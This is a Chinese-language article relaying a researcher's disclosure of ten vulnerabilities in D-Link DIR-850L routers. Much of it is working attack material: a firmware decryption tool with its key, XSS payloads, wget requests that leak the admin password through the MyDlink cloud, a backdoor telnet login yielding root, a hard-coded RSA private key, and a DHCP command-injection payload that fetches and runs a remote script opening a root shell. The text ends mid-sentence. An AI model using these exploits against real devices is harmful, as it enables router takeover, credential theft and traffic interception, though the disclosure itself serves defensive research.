D-link 10个0Day漏洞分析(附细节)

安全研究人员Pierre Kim日前披露D-Link DIR 850LAC1200型双频千兆云路由器被曝10个安全问题,包括XSS攻击,缺乏应有的固件保护,后门和root提权等。这10个安全问题分别是:

Firmware。对firmware缺乏足够的安全保护。 XSS漏洞。攻击者可以利用XSS攻击来获取已认证用户的认证cookie。

Retrieving admin password。攻击者可以提取admin的口令,利用MyDlink云协议添加攻击者帐号到路由器,来获取路由器的控制权;

Weak Cloud protocol。MyDlink协议基于TCP,路由器和MyDlink账户之间的通信没有加密

Backdoor access。存在后门,攻击者可以获取root权限。

Stunnel private keys。加密私钥硬编码在固件中,攻击者提取后可以执行中间人攻击。

Nonce bruteforcing for DNS configuration。攻击者可以通过非认证的HTTP请求,转发流量等方式改变路由器的DNS配置。

Weak files permission and credentials stored in cleartext。路由器明文保存证书信息。

Pre-Auth RCEs as root (L2)。DHCP客户端存在被命令注入的可能,攻击者可以用来获取设备的root权限。

DoS against some daemons。攻击者可以远程攻击路由器上运行的守护进程和服务。

以上漏洞存在于Dlink 850L revA(DIR850L_REVA_FW114WWb07_h2ab_beta1.bin)和Dlink 850L revB(DIR850LB1_FW207WWb05.bin)中的至少一个固件中。

Dlink 850L的最新固件镜像revA (DIR850L_REVA_FW114WWb07_h2ab_beta1.bin)未进行保护,攻击者可以伪造一个新的固件镜像。

Dlink 850L的最新固件revB (DIR850LB1_FW207WWb05.bin,DIR850L_REVB_FW207WWb05_h1ke_beta1.bin和DIR850LB1 FW208WWb02.bin)用硬编码密码进行保护的。

研究者用下面的程序来解密固件镜像。

/*   * Simple tool to decrypt D-LINK DIR-850L REVB firmwares   *  * $ gcc -o revbdec revbdec.c  * $ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted  */  #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <stdlib.h>  #define USAGE "Usage: decimg <filename> <key>/n"  int main(int    argc,          char   **argv) {         int     i, fi;         int     fo = STDOUT_FILENO, fe = STDERR_FILENO;          if (argc != 3)         {                 write(fe, USAGE, strlen(USAGE));                 return (EXIT_FAILURE);         }          if ((fi = open(argv[1], O_RDONLY)) == -1)         {                 perror("open");                 write(fe, USAGE, strlen(USAGE));                 return (EXIT_FAILURE);         }          const char *key = argv[2];         int kl = strlen(key);          i = 0;         while (1)         {                 char buffer[4096];                 int j, len;                 len = read(fi, buffer, 4096);                 if (len <= 0)                         break;                 for (j = 0; j < len; j++) {                         buffer[j] ^= (i + j) % 0xFB + 1;                         buffer[j] ^= key[(i + j) % kl];                 }                 write(fo, buffer, len);                 i += len;         }         return (EXIT_SUCCESS); } 
user@kali:~/petage-dlink$ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted user@kali:~/petage-dlink$ binwalk DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted  DECIMAL       HEXADECIMAL     DESCRIPTION -------------------------------------------------------------------------------- 0             0x0             DLOB firmware header, boot partition: "dev=/dev/mtdblock/1" 593           0x251           LZMA compressed data, properties: 0x88, dictionary size: 1048576 bytes, uncompressed size: 65535 bytes 10380         0x288C          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5184868 bytes 1704052       0x1A0074        PackImg section delimiter tag, little endian size: 10518016 bytes; big endian size: 8298496 bytes 1704084       0x1A0094        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8296266 bytes, 2678 inodes, blocksize: 131072 bytes, created: 2017-01-20 06:39:29 

通过以上我们可以发现,并没有对固件镜像进行保护。

下面披露上面提到漏洞的相关细节。

XSS漏洞细节

通过分析/htdocs/web文件夹下的php文件,我们可以发现XSS漏洞的细节。

攻击者通过XSS漏洞来写去认证用户的认证cookies。

/htdocs/web/wpsacts.php文件:

user@kali:~/petage-dlink$ wget -qO- --post-data='action=<a>' http://ip:port/wpsacts.php <?xml version="1.0" encoding="utf-8"?> <wpsreport>         <action><a></action>         <result></result>         <reason></reason> </wpsreport>  user@kali:~/petage-dlink$ cat ./fs/htdocs/web/wpsacts.php [..] <wpsreport>         <action><?echo $_POST["action"];?></action> [...] 

/htdocs/web/shareport.php文件中的XSS代码:

[...]          <action><?echo $_POST["action"];?></action> [...] 

/htdocs/web/sitesurvey.php文件中的XSS代码:

[...]         <action><?echo $_POST["action"];?></action> [...] 

/htdocs/web/wandetect.php文件中的XSS代码:

[...]         <action><?echo $_POST["action"];?></action> [...] 

/htdocs/web/wpsacts.php文件中的XSS代码:

[...]         <action><?echo $_POST["action"];?></action> [...] 

Retrieving admin password细节

网页 http://ip_of_router/register_send.php 并不对用户进行认证,攻击者可以利用该网页的漏洞获取设备的控制权。

攻击场景:

攻击者可以用 /register_send.php 页面进行以下操作:

创建MyDlink Cloud账户;

利用创建的账户登入设备;

把设备加入账户中。

攻击场景重现:

用页面 http://ip_of_router/register_send.php 作为攻击者和远程Dlink API之间的接口。该页面可以提取明文保存的用户口令。

$devpasswd = query("/device/account/entry/password"); <- $devpasswd contains the password $action = $_POST["act"];                                 of the device 

178 //sign up 179 $post_str_signup = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 180                    "&action=sign-up&accept=accept&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]. 181                    "&password_verify=" .$_POST["passwd"]. "&name_first=" .$_POST["firstname"]. "&name_last=" .$_POST["lastname"]." "; 182  183 $post_url_signup = "/signin/"; 184  185 $action_signup = "signup"; 186  187 //sign in        188 $post_str_signin = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 189             "&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]." "; 190  191 $post_url_signin = "/account/?signin"; 192  193 $action_signin = "signin"; 194  195 //add dev (bind device) 196 $post_str_adddev = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 197             "&dlife_no=" .$mydlink_num. "&device_password=" .$devpasswd. "&dfp=" .$dlinkfootprint." "; 198  199 $post_url_adddev = "/account/?add"; 200  201 $action_adddev = "adddev"; 202  203 //main start 204 if($action == $action_signup)                    <---- first request 205 { 206         $post_str = $post_str_signup; 207         $post_url = $post_url_signup; 208         $withcookie = "";   //signup dont need cookie info 209 } 210 else if($action == $action_signin)               <---- second request 211 { 212         $post_str = $post_str_signin; 213         $post_url = $post_url_signin; 214         $withcookie = "/r/nCookie: lang=en; mydlink=pr2c11jl60i21v9t5go2fvcve2;"; 215 } 216 else if($action == $action_adddev)               <---- 3rd request 217 { 218         $post_str = $post_str_adddev; 219         $post_url = $post_url_adddev; 220 } 

向路由器发送3个HTTP请求来利用该漏洞:

第一个请求 (signup)会在MyDlink服务上创建一个用户:

user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=signup&lang=en&outemail=MYEMAIL@GMAIL.COM&passwd=SUPER_PASSWORD&firstname=xxxxxxxx&lastname=xxxxxxxx' http://ip/register_send.php  <?xml version="1.0"?> <register_send>    <result>success</result>    <url>http://mp-us-portal.auto.mydlink.com</url> </register_send> 

该请求被发送给MyDlink Cloud APIs:

179 $post_str_signup = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 180                    "&action=sign-up&accept=accept&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]. 181                    "&password_verify=" .$_POST["passwd"]. "&name_first=" .$_POST["firstname"]. "&name_last=" .$_POST["lastname"]." "; 

第二个请求 (signin)路由器会将该账户与新创建的用户相关联,但不激活:

user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=signin&lang=en&outemail=MYEMAIL@GMAIL.COM&passwd=SUPER_PASSWORD&firstname=xxxxxxxx&lastname=xxxxxxxx' http://ip/register_send.php  <?xml version="1.0"?> <register_send>   <result>success</result>   <url>http://mp-us-portal.auto.mydlink.com</url> </register_send> 

该请求被发送给 MyDlink Cloud APIs:

188 $post_str_signin = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 189             "&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]." "; 

第三个请求是把设备和dlink服务相管理,并发送设备口令给远程API。

user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=adddev&lang=en' http://ip/register_send.php  <?xml version="1.0"?> <register_send>   <result>success</result>   <url>http://mp-us-portal.auto.mydlink.com</url> </register_send> 

该请求被发送给 MyDlink Cloud APIs:

196 $post_str_adddev = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 197             "&dlife_no=" .$mydlink_num. "&device_password=" .$devpasswd. "&dfp=" .$dlinkfootprint." "; 

用注册的邮箱和口令登录 http://mydlink.com/,登录后看到的通用管理选项:

通过分析这些HTTP请求,我们可以获取目标路由器的信息。

PUT (PUT IDENTIFIER_OF_THE_ROUTER)命令提供了该设备的明文口令。

这张图的最后是一个 GET 请求

https://eu.mydlink.com/device/devices/DEVICEID?_=SOME_RANDOM_DATA&access_token=ACCESS_TOKEN 

POST数据:

{"id":"EDITED_DEVICE_ID","order":0,"mac":"EDITED_MAC_ADDRESS","model":"DIR-850L","ddnsServer":"eu.mydlink.com","activatedDate":"EDITED_ACTIVATION_DATE","hwVer":"B1","selected":true,"defaultIconUrl":"https://d3n8c69ydsbj5n.cloudfront.net/Product/Pictures/DIR-850L/DIR-850L_default.gif","type":"router","series":"","name":"","authKey":"","status":"","adminPassword":"","plainPassword":"","fwUpgrade":false,"fwVer":"","provVer":"","binded":true,"registered":null,"supportHttps":null,"signalAddr":"","features":[],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null},"added2UniPlugin":false,"connections":[{"id":"http","scheme":"http","tunnel":null,"ip":null,"port":null},{"id":"httpWithCredential","scheme":"http","tunnel":null,"ip":null,"port":null},{"id":"https","scheme":"https","tunnel":null,"ip":null,"port":null},{"id":"httpsWithCredential","scheme":"https","tunnel":null,"ip":null,"port":null},{"id":"liveview","scheme":"","tunnel":null,"ip":null,"port":null},{"id":"playback","scheme":"","tunnel":null,"ip":null,"port":null},{"id":"config","scheme":"","tunnel":null,"ip":null,"port":null}]} 

回应是明文(含有设备口令):

{"name":"DIR-850L","status":"online","authKey":"EDITED","adminPassword":"password","plainPassword":"PASSWORD","fwUpgrade":false,"fwVer":"2.07","provVer":"2.0.18-b04","binded":true,"registered":true,"supportHttps":true,"signalAddr":"mp-eu-signal.auto.mydlink.com","features":[1,2,3,4,28,29],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null}}

GET 请求可以用来提取口令:

GET请求:

GET https://eu.mydlink.com/device/devices/DEVICEID?=RANDOM_NUMBER&access_token=ACCESS_TOKEN HTTP/1.1

回应是一样的,之前的明文口令和新的口令(admin口令):

{"name":"DIR-850L","status":"online","authKey":"EDITED","adminPassword":"password","plainPassword":"PASSWORD","fwUpgrade":false,"fwVer":"2.07","provVer":"2.0.18-b04","binded":true,"registered":true,"supportHttps":true,"signalAddr":"mp-eu-signal.auto.mydlink.com","features":[1,2,3,4,28,29],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null}}

最后一个请求是询问关于浏览器和远程路由器之间的通道的:

发送给 /tssm/tssml.php 的请求请求远程云平台转发留到到设备号3XXXXXXX的设备。攻击者可以通过云平台获取新建立的TCP通道的信息:

https://eu.mydlink.com/tssm/tssml.php?id=EDITED&no=EDITED_DEVICE_ID&type=1&state=3&status=1&ctype=4&browser=Mozilla/5.0+(Windows+NT+6.1;+rv:50.0)+Gecko/20100101+Firefox/50.0&message=[{"service":"http","scheme":"http","tunnel":"relay","ip":"127.0.0.1","port":50453},{"service":"https","scheme":"https","tunnel":"relay","ip":"127.0.0.1","port":50454}]&_=EDITED_RANDOM_VALUE

监听 127.0.0.1:50453/tcp (HTTP) 和 127.0.0.1:50454/tcp (HTTP over SSL):

访问 http://127.0.0.1:50453/。 我们发现流量通过云协议被发送到远程路由器。

利用该泄露的口令,攻击者可以黑掉路由器,并把该路由器的固件更新为留有后门的固件。

Weak Cloud protocol

​MyDlink Cloud协议没有加密机制,只使用了基本的TCP中继系统。所有的TCP流量都没有进行适当的加密。

理想状态下,用户可以利用rgbin来修改设备的MAC地址:

# /usr/sbin/devdata dump # will dump all the configuration # /usr/sbin/devdata set -e lanmac=00:11:22:33:44:55 # will define a new mac address for the lan interface

该程序只覆写 /dev/mtdblock/4 的文件

该漏洞会影响DLINK的支持MyDlink cloud protocol的NAS,路由器,摄像头等。

​ wireshark抓包(明文和自签名流量) :

Backdoor access细节

revB镜像中,如果重设设备, /etc/init0.d/S80mfcd.sh init脚本 mfcd 开始运行:

mfcd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &
user@kali:~/petage-dlink$ cat fs/etc/init0.d/S80mfcd.sh #!/bin/sh echo [$0]: $1 ... > /dev/console orig_devconfsize=`xmldbc -g /runtime/device/devconfsize`  entn=`devdata get -e ALWAYS_TN` if [ "$1" = "start" ] && [ "$entn" = "1" ]; then         mfcd -i br0 -t 99999999999999999999999999999 &         exit fi  if [ "$1" = "start" ] && [ "$orig_devconfsize" = "0" ]; then          if [ -f "/usr/sbin/login" ]; then                 image_sign=`cat /etc/config/image_sign`                 mfcd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &         else                 mfcd &         fi  else         killall mfcd fi

攻击者可以获取设备的root shell权限:

user@kali:~/petage-dlink$ telnet 192.168.0.1 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. Login: Alphanetworks Password: wrgac25_dlink.2013gui_dir850l   BusyBox v1.14.1 (2017-01-20 14:35:27 CST) built-in shell (msh) Enter 'help' for a list of built-in commands.  # echo what what #

Stunnel private keys细节

密钥通过硬编码方式保存在固件中。管理通过HTTPS方式,攻击者可以发起SSL中间人攻击。细节如下:

# ls -la /etc/stunnel.key -rwxr-xr-x    1 root     root         1679 Jan 20  2017 /etc/stunnel.key # cat /etc/stunnel.key -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAo/0bZcpc3Npc89YiNcP+kPxhLCGLmYXR4rHLt2I1BbnkXWHk MY1Umfq9FAzBYSvPYEGER4gYq467yvp5wO97CUoTSJHbJDPnp9REj6wLcMkG7R9O g8/WuQ3hsoexPu4YkjJXPhtQ6YkV7seEDgP3C2TNqCnHdXzqSs7+vT17chwu8wau j/VMVZ2FRHU63JQ9DG6PqcudHTW+T/KVnmWXQnspgr8ZMhXobETtdqtRPtxbA8mE ZeF8+cIoA9VcqP09/VMBbRm+o5+Q4hjtvSrv+W2bEd+BDU+V45ZX8ZfPoEWYjQqI kv7aMECTIX2ebgKsjCK3PfYUX5PYbVWUV+176wIDAQABAoIBAQCQR/gcBgDQO7t+ uc9dmLTYYYUpa9ZEW+3/U0kWbuyRvi1DUAaS5nMiCu7ivhpCYWZSnTJCMWbrQmjN vLT04H9S+/6dYd76KkTOb79m3Qsvz18tr9bHuEyGgsUp66Mx6BBsSKhjt2roHjnS 3W29WxW3y5f6NdAM+bu12Ate+sIq8WHsdU0hZD+gACcCbqrt4P2t3Yj3qA9OzzWb b9IMSE9HGWoTxEp/TqbKDl37Zo0PhRlT3/BgAMIrwASb1baQpoBSO2ZIcwvof31h IfrbUWgTr7O2Im7OiiL5MzzAYBFRzxJsj15mSm3/v3cZwK3isWHpNwgN4MWWInA1 t39bUFl5AoGBANi5fPuVbi04ccIBh5dmVipy5IkPNhY0OrQp/Ft8VSpkQDXdWYdo MKF9BEguIVAIFPQU6ndvoK99lMiWCDkxs2nuBRn5p/eyEwnl2GqrYfhPoTPWKszF rzzJSBKoStoOeoRxQx/QFN35/LIxc1oLv/mFmZg4BqkSmLn6HrFq2suVAoGBAMG1 CqmDs2vU43PeC6G+51XahvRI3JOL0beUW8r882VPUPsgUXp9nH3UL+l9/cBQQgUC n12osLOAXhWDJWvJquK9HxkZ7KiirNX5eJuyBeaxtOSfBJEKqz/yGBRRVBdBHxT2 a1+gO0MlG6Dtza8azl719lr8m6y2O9pyIeUewUl/AoGAfNonCVyls0FwL57n+S2I eD3mMJtlwlbmdsI1UpMHETvdzeot2JcKZQ37eIWyxUNSpuahyJqzTEYhf4kHRcO/ I0hvAe7UeBrLYwlZquH+t6lQKee4km1ULcWbUrxHGuX6aPBDBkG+s75/eDyKwpZA S0RPHuUv2RkQiRtxsS3ozB0CgYEAttDCi1G82BxHvmbl23Vsp15i19KcOrRO7U+b gmxQ2mCNMTVDMLO0Kh1ESr2Z6xLT/B6Jgb9fZUnVgcAQZTYjjXKoEuygqlc9f4S/ C1Jst1koPEzH5ouHLAa0KxjGoFvZldMra0iyJaCz/qHw6T4HXyALrbuSwOIMgxIM Y00vZskCgYAuUwhDiJWzEt5ltnmYOpCMlY9nx5qJnfcSOld5OHZ0kUsRppKnHvHb MMVyCTrp1jiH/o9UiXrM5i79fJBk7NT7zqKdI0qmKTQzNZhmrjPLCM/xEwAXtQMQ 1ldI69bQEdRwQ1HHQtzVYgKA9XCmvrUGXRq6E5sp2ky+X1QabC7bIg== -----END RSA PRIVATE KEY----- # cat /etc/stunnel_cert.pem Certificate: Data:     Version: 3 (0x2)     Serial Number:         87:6f:88:76:87:df:e7:78     Signature Algorithm: sha1WithRSAEncryption     Issuer: C=TW, ST=Taiwan, O=None, OU=None, CN=General Root CA/emailAddress=webmaster@localhost     Validity         Not Before: Feb 22 06:04:36 2012 GMT         Not After : Feb 17 06:04:36 2032 GMT     Subject: C=TW, ST=Taiwan, L=HsinChu, O=None, OU=None, CN=General Router/emailAddress=webmaster@localhost     Subject Public Key Info:         Public Key Algorithm: rsaEncryption             Public-Key: (2048 bit)             Modulus:                 00:a3:fd:1b:65:ca:5c:dc:da:5c:f3:d6:22:35:c3:                 fe:90:fc:61:2c:21:8b:99:85:d1:e2:b1:cb:b7:62:                 35:05:b9:e4:5d:61:e4:31:8d:54:99:fa:bd:14:0c:                 c1:61:2b:cf:60:41:84:47:88:18:ab:8e:bb:ca:fa:                 79:c0:ef:7b:09:4a:13:48:91:db:24:33:e7:a7:d4:                 44:8f:ac:0b:70:c9:06:ed:1f:4e:83:cf:d6:b9:0d:                 e1:b2:87:b1:3e:ee:18:92:32:57:3e:1b:50:e9:89:                 15:ee:c7:84:0e:03:f7:0b:64:cd:a8:29:c7:75:7c:                 ea:4a:ce:fe:bd:3d:7b:72:1c:2e:f3:06:ae:8f:f5:                 4c:55:9d:85:44:75:3a:dc:94:3d:0c:6e:8f:a9:cb:                 9d:1d:35:be:4f:f2:95:9e:65:97:42:7b:29:82:bf:                 19:32:15:e8:6c:44:ed:76:ab:51:3e:dc:5b:03:c9:                 84:65:e1:7c:f9:c2:28:03:d5:5c:a8:fd:3d:fd:53:                 01:6d:19:be:a3:9f:90:e2:18:ed:bd:2a:ef:f9:6d:                 9b:11:df:81:0d:4f:95:e3:96:57:f1:97:cf:a0:45:                 98:8d:0a:88:92:fe:da:30:40:93:21:7d:9e:6e:02:                 ac:8c:22:b7:3d:f6:14:5f:93:d8:6d:55:94:57:ed:                 7b:eb             Exponent: 65537 (0x10001)     X509v3 extensions:         X509v3 Basic Constraints:              CA:FALSE         Netscape Comment:              OpenSSL Generated Certificate         X509v3 Subject Key Identifier:              B5:BF:D1:A5:D6:6F:20:B0:89:1F:A6:C1:58:05:31:B2:B3:D0:C1:01         X509v3 Authority Key Identifier:              keyid:5D:F8:E9:B5:F1:57:A4:90:94:BB:9F:DB:F7:91:95:E7:1C:A2:E7:D2  Signature Algorithm: sha1WithRSAEncryption     3d:09:22:d0:a6:7d:9c:cd:bd:5b:ad:62:c2:6a:29:12:d1:61:     88:ca:1e:68:1d:04:dd:40:fb:a9:d3:9f:22:49:dc:fa:fb:3c:     21:dd:45:a5:53:1a:9b:80:ee:50:16:a6:36:3a:3c:f0:39:27:     e4:8d:70:20:03:73:7f:26:65:ac:ab:05:b1:84:ee:7c:16:43:     ca:2f:b5:6b:44:fc:75:a1:c7:86:04:18:b4:df:b2:76:f3:88:     fb:dc:ec:99:3d:fe:d1:7c:ea:fa:56:eb:0b:d5:69:84:48:3d:     12:db:d1:ef:f9:89:b0:62:70:ec:be:dd:e6:ef:dd:88:cf:f4:     e5:ff:1d:88:d5:e0:23:f0:bb:a3:df:8e:8a:05:ea:f3:dc:14:     49:2d:46:4a:27:40:a6:fc:70:4a:f5:94:3f:94:64:d1:93:7b:     03:12:75:67:30:ee:8c:07:e1:73:77:00:23:d6:68:20:07:7f:     8f:4e:1d:e8:76:87:0d:4c:26:f6:56:84:e2:56:98:a0:6c:ad:     71:21:23:a4:a6:3b:b9:8e:27:13:c2:ae:70:0f:6a:c6:be:b8:     88:9a:0a:d7:00:39:3a:90:7e:5f:4d:22:88:4e:a6:8a:2f:42:     b4:dc:18:a4:eb:fa:f1:04:0e:a7:e2:ff:5d:ac:cd:61:28:01:     7e:d3:01:13 -----BEGIN CERTIFICATE----- MIIEBDCCAuygAwIBAgIJAIdviHaH3+d4MA0GCSqGSIb3DQEBBQUAMHoxCzAJBgNV BAYTAlRXMQ8wDQYDVQQIDAZUYWl3YW4xDTALBgNVBAoMBE5vbmUxDTALBgNVBAsM BE5vbmUxGDAWBgNVBAMMD0dlbmVyYWwgUm9vdCBDQTEiMCAGCSqGSIb3DQEJARYT d2VibWFzdGVyQGxvY2FsaG9zdDAeFw0xMjAyMjIwNjA0MzZaFw0zMjAyMTcwNjA0 MzZaMIGLMQswCQYDVQQGEwJUVzEPMA0GA1UECAwGVGFpd2FuMRAwDgYDVQQHDAdI c2luQ2h1MQ0wCwYDVQQKDAROb25lMQ0wCwYDVQQLDAROb25lMRcwFQYDVQQDDA5H ZW5lcmFsIFJvdXRlcjEiMCAGCSqGSIb3DQEJARYTd2VibWFzdGVyQGxvY2FsaG9z dDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKP9G2XKXNzaXPPWIjXD /pD8YSwhi5mF0eKxy7diNQW55F1h5DGNVJn6vRQMwWErz2BBhEeIGKuOu8r6ecDv
 ewlKE0iR2yQz56fURI+sC3DJBu0fToPP1rkN4bKHsT7uGJIyVz4bUOmJFe7HhA4D 9wtkzagpx3V86krO/r09e3IcLvMGro/1TFWdhUR1OtyUPQxuj6nLnR01vk/ylZ5l l0J7KYK/GTIV6GxE7XarUT7cWwPJhGXhfPnCKAPVXKj9Pf1TAW0ZvqOfkOIY7b0q 7/ltmxHfgQ1PleOWV/GXz6BFmI0KiJL+2jBAkyF9nm4CrIwitz32FF+T2G1VlFft e+sCAwEAAaN7MHkwCQYDVR0TBAIwADAsBglghkgBhvhCAQ0EHxYdT3BlblNTTCBH ZW5lcmF0ZWQgQ2VydGlmaWNhdGUwHQYDVR0OBBYEFLW/0aXWbyCwiR+mwVgFMbKz 0MEBMB8GA1UdIwQYMBaAFF346bXxV6SQlLuf2/eRleccoufSMA0GCSqGSIb3DQEB BQUAA4IBAQA9CSLQpn2czb1brWLCaikS0WGIyh5oHQTdQPup058iSdz6+zwh3UWl UxqbgO5QFqY2OjzwOSfkjXAgA3N/JmWsqwWxhO58FkPKL7VrRPx1oceGBBi037J2 84j73OyZPf7RfOr6VusL1WmESD0S29Hv+YmwYnDsvt3m792Iz/Tl/x2I1eAj8Luj 346KBerz3BRJLUZKJ0Cm/HBK9ZQ/lGTRk3sDEnVnMO6MB+FzdwAj1mggB3+PTh3o docNTCb2VoTiVpigbK1xISOkpju5jicTwq5wD2rGvriImgrXADk6kH5fTSKITqaK L0K03Bik6/rxBA6n4v9drM1hKAF+0wET -----END CERTIFICATE-----

Nonce bruteforcing for DNS configuration细节

htdocs/parentalcontrols/bind.php 文件可以更改DNS配置信息,并不检查管理用户的认证状态。因为对HTTP请求没有限制和认证,攻击者可以采取暴力方式破解nonce。

8 $uptime_limit = query(INF_getinfpath($WAN1)."/open_dns/nonce_uptime") + 1800;   9 if(query(INF_getinfpath($WAN1)."/open_dns/nonce")!=$_GET["nonce"] || $_GET["nonce"]=="")  10 {  11         $Response="BindError";  12 }  13 else if(query("/runtime/device/uptime") > $uptime_limit)  14 {  15         $Response="BindTimeout";  16 }

攻击者定义新的DNS服务器:

 21         set(INF_getinfpath($WAN1)."/open_dns/deviceid", $_GET["deviceid"]);  22         set(INF_getinfpath($WAN1)."/open_dns/parent_dns_srv/dns1", $_GET["dnsip1"]);  23         set(INF_getinfpath($WAN1)."/open_dns/parent_dns_srv/dns2", $_GET["dnsip2"]);

攻击者可以用vuln来转发流量到自己控制的服务器。

Weak files permission and credentials stored in cleartext细节

一些文件权限较弱:

1. /var/passwd

/var/passwd 明文保存用户证书,而该文件权限是-rw-rw-rw- (666)

# ls -la /var/passwd -rw-rw-rw-    1 root     root           28 Jan  1 00:00 /var/passwd # cat /var/passwd "Admin" "password" "0"

2. /var/etc/hnapasswd

攻击者也可以利用 /var/etc/hnapasswd 提取明文的密码,/var/etc/hnapasswd 文件权限也是-rw-rw-rw- (666)

# cat /var/etc/hnapasswd Admin:password
# ls -la /var/etc/hnapasswd -rw-rw-rw-    1 root     root           20 Jan  1 00:00 /var/etc/hnapasswd

3. /etc/shadow

/etc/shadow 的权限是rwxrwxrwx777)

# ls -al /etc/shadow  lrwxrwxrwx    1 root     root           15 Jan 20  2017 /etc/shadow -> /var/etc/shadow # ls -la /var/etc/shadow -rw-r--r--    1 root     root           93 Jan  1 00:00 /var/etc/shadow

/var/etc/shadow 内有管理用户的DES哈希值。

# cat /var/etc/shadow root:!:10956:0:99999:7::: nobody:!:10956:0:99999:7::: Admin:zVc1PPVw2VWMc:10956:0:99999:7:::

4. /var/run/storage_account_root

/var/run/storage_account_root 含有明文证书。

/var/passwd 文件权限是 -rw-rw-rw- (666)

# ls -la /var/run/storage_account_root -rw-rw-rw-    1 root     root           40 Jan  1 00:00 /var/run/storage_account_root # cat /var/run/storage_account_root admin:password,::: jean-claude:dusse,:::

5. /var/run/hostapd*

/var/run/hostapd* 含有 明文的无线密码,文件权限是-rw-rw-rw- (666)

# ls -la /var/run/hostapd* -rw-rw-rw-    1 root     root           73 Jan  1 00:00 /var/run/hostapd-wlan1wps.eap_user -rw-rw-rw-    1 root     root         1160 Jan  1 00:00 /var/run/hostapd-wlan1.conf -rw-rw-rw-    1 root     root           73 Jan  1 00:00 /var/run/hostapd-wlan0wps.eap_user -rw-rw-rw-    1 root     root         1170 Jan  1 00:00 /var/run/hostapd-wlan0.conf # cat /var/run/hostapd*|grep -i pass wpa_passphrase=aaaaa00000 wpa_passphrase=aaaaa00000

Pre-Auth RCEs as root (L2)细节

路由器上的DHCP客户端易受到命令注入攻击。

dhcpd.conf文件:

rasp-pwn-dlink# cat /etc/dhcp/dhcpd.conf option domain-name ";wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re;"; option domain-name-servers 8.8.8.8, 8.8.4.4; default-lease-time 600; max-lease-time 7200; ddns-update-style none; subnet 10.254.239.0 netmask 255.255.255.224 {   range 10.254.239.10 10.254.239.20;   option routers 10.254.239.1; } rasp-pwn-dlink# ifconfig eth1 eth1
   Link encap:Ethernet  HWaddr 00:0e:c6:aa:aa:aa             inet addr:10.254.239.1  Bcast:10.254.239.255  Mask:255.255.255.0           inet6 addr: fe80::20e:caaa:aaaa:aaa/64 Scope:Link           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1           RX packets:129 errors:0 dropped:0 overruns:0 frame:0           TX packets:107 errors:0 dropped:0 overruns:0 carrier:0           collisions:0 txqueuelen:1000            RX bytes:11181 (10.9 KiB)  TX bytes:49155 (48.0 KiB)  rasp-pwn-dlink# cat /var/www/html/dhcp-rce  #!/bin/sh  wget -O /var/telnetd-dhcpd-wan http://10.254.239.1/dlink-telnetd chmod 777 /var/telnetd-dhcpd-wan (for i in 0 1 2 3; do # win races against legit iptables rules iptables -F iptables -X iptables -t nat -F iptables -t nat -X iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -P FORWARD ACCEPT sleep 10 done ) &  /var/telnetd-dhcpd-wan -l /bin/sh -p 110 &  rasp-pwn-dlink# dhcpd eth1 Internet Systems Consortium DHCP Server 4.3.1 Copyright 2004-2014 Internet Systems Consortium. All rights reserved. For info, please visit https://www.isc.org/software/dhcp/ Config file: /etc/dhcp/dhcpd.conf Database file: /var/lib/dhcp/dhcpd.leases PID file: /var/run/dhcpd.pid Wrote 1 leases to leases file. Listening on LPF/eth1/00:0e:c6:aa:aa:aa/10.254.239.0/27 Sending on   LPF/eth1/00:0e:c6:aa:aa:aa/10.254.239.0/27 Sending on   Socket/fallback/fallback-net rasp-pwn-dlink#

开机后发送DHCP请求,路由器会与WAN远程HTTP服务器发起连接:

rasp-pwn-dlink# tail -f /var/log/nginx/access.log 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget" 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget" 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget" 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget"

来自WANtelnetd:

